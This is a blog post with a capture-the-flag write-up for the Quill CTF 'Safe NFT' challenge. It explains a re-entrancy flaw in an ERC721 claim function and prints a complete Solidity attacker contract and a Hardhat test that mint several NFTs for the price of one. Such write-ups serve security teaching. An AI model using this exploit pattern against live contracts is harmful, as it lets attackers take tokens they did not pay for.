DEV Community

Erhan Tezcan
Erhan Tezcan

Posted on

Quill CTF: 4. Safe NFT

Objective of CTF:

  • Claim multiple NFTs for the price of one.

Target contract:

// SPDX-License-Identifier: UNLICENSED
pragma solidity 0.8.7;

import "@openzeppelin/contracts/token/ERC721/extensions/ERC721Enumerable.sol";

contract SafeNFT is ERC721Enumerable {
  uint256 price;
  mapping(address => bool) public canClaim;

  constructor(string memory tokenName, string memory tokenSymbol, uint256 _price) ERC721(tokenName, tokenSymbol) {
    price = _price; // e.g. price = 0.01 ETH
  }

  function buyNFT() external payable {
    require(price == msg.value, "INVALID_VALUE");
    canClaim[msg.sender] = true;
  }

  function claim() external {
    require(canClaim[msg.sender], "CANT_MINT");
    _safeMint(msg.sender, totalSupply());
    canClaim[msg.sender] = false;
  }
}
Enter fullscreen mode Exit fullscreen mode

The Attack

This contract has the good ol' re-entrancy exploit. The contract is rather innocent-looking, and the re-entrancy comes from a detail of ERC721 standard: the onERC721Received function.

First, what is re-entrancy? Re-entrancy is when a contract is executing a function, and before the effects of that function can take place, one can enter there again to re-execute the same function without suffering from the effects. For example, you could have a function that sends you money first, and marks the storage value sent=true next; you can keep recieving money by re-entering the function before sent=true takes place!

A similar pattern can be observed in this target contract, where canClaim[msg.sender] = false takes place after we actually receive our token. If this were to take place before we receive our token, re-entering the function would not work because of the require(canClaim[msg.sender], "CANT_MINT") requirement.

So how do we re-enter to claim function? That is where onERC721Received comes in: this function is executed if the contract supports IERC721Receiver interface and implements this function. Within this function, we can call claim again, and successfully re-enter!

We will write an attacker contract that implements IERC721Receiver, and write the re-enterancy logic within onERC721Received. We will not only re-enter, but also forward the claimed tokens to ourselves (the owner of the contract). This way, we pay the price of a single NFT but claim as many as we would like.

Proof of Concept

The attacker contract is as follows:

contract SafeNFTAttacker is IERC721Receiver {
  uint private claimed;
  uint private count;
  address private owner;
  SafeNFT private target;

  constructor(uint count_, address targetAddr_) {
    target = SafeNFT(targetAddr_);
    count = count_;
    owner = msg.sender;
  }

  // initiate the pwnage by purchasing a single NFT
  // we will re-enter later via onERC721Received
  function pwn() external payable {
    target.buyNFT{value: msg.value}();
    target.claim();
  }

  function claimNext() internal {
    // keep record of the current claim
    claimed++;
    // if we want to keep on claiming, continue re-entering
    // stop if you think they've had enough :)
    if (claimed != count) {
      target.claim();
    }
  }

  function onERC721Received(
    address /*operator*/,
    address /*from*/,
    uint256 tokenId,
    bytes calldata /*data*/
  ) external override returns (bytes4) {
    // forward the claimed NFT to yourself
    target.transferFrom(address(this), owner, tokenId);

    // re-enter
    claimNext();

    return IERC721Receiver.onERC721Received.selector;
  }
}
Enter fullscreen mode Exit fullscreen mode

The Hardhat test code to demonstrate this attack is given below. Contract types are generated via TypeChain.

describe('QuillCTF 4: Safe NFT', () => {
  let contract: SafeNFT;
  let attackerContract: SafeNFTAttacker;
  let owner: SignerWithAddress;
  let attacker: SignerWithAddress;
  const price = parseEther('0.1');
  const count = 3; // as many as you want

  before(async () => {
    [owner, attacker] = await ethers.getSigners();
    contract = await ethers.getContractFactory('SafeNFT', owner).then(f => f.deploy('Safe NFT', 'SFNFT', price));
    await contract.deployed();
  });

  it('should claim multiple nfts', async () => {
    // deploy the attacker contract
    attackerContract = await ethers
      .getContractFactory('SafeNFTAttacker', attacker)
      .then(f => f.deploy(count, contract.address));
    await attackerContract.deployed();

    // initiate first claim and consequent re-entries via pwn
    attackerContract.pwn({value: price});

    // you should have your requested balance :)
    expect(await contract.balanceOf(attacker.address)).to.eq(count);
  });
});
Enter fullscreen mode Exit fullscreen mode

Heroku

Build apps, not infrastructure.

Dealing with servers, hardware, and infrastructure can take up your valuable time. Discover the benefits of Heroku, the PaaS of choice for developers since 2007.

Visit Site

Top comments (0)

Billboard image

Create up to 10 Postgres Databases on Neon's free plan.

If you're starting a new project, Neon has got your databases covered. No credit cards. No trials. No getting in your way.

Try Neon for Free →

👋 Kindness is contagious

Please leave a ❤️ or a friendly comment on this post if you found it helpful!

Okay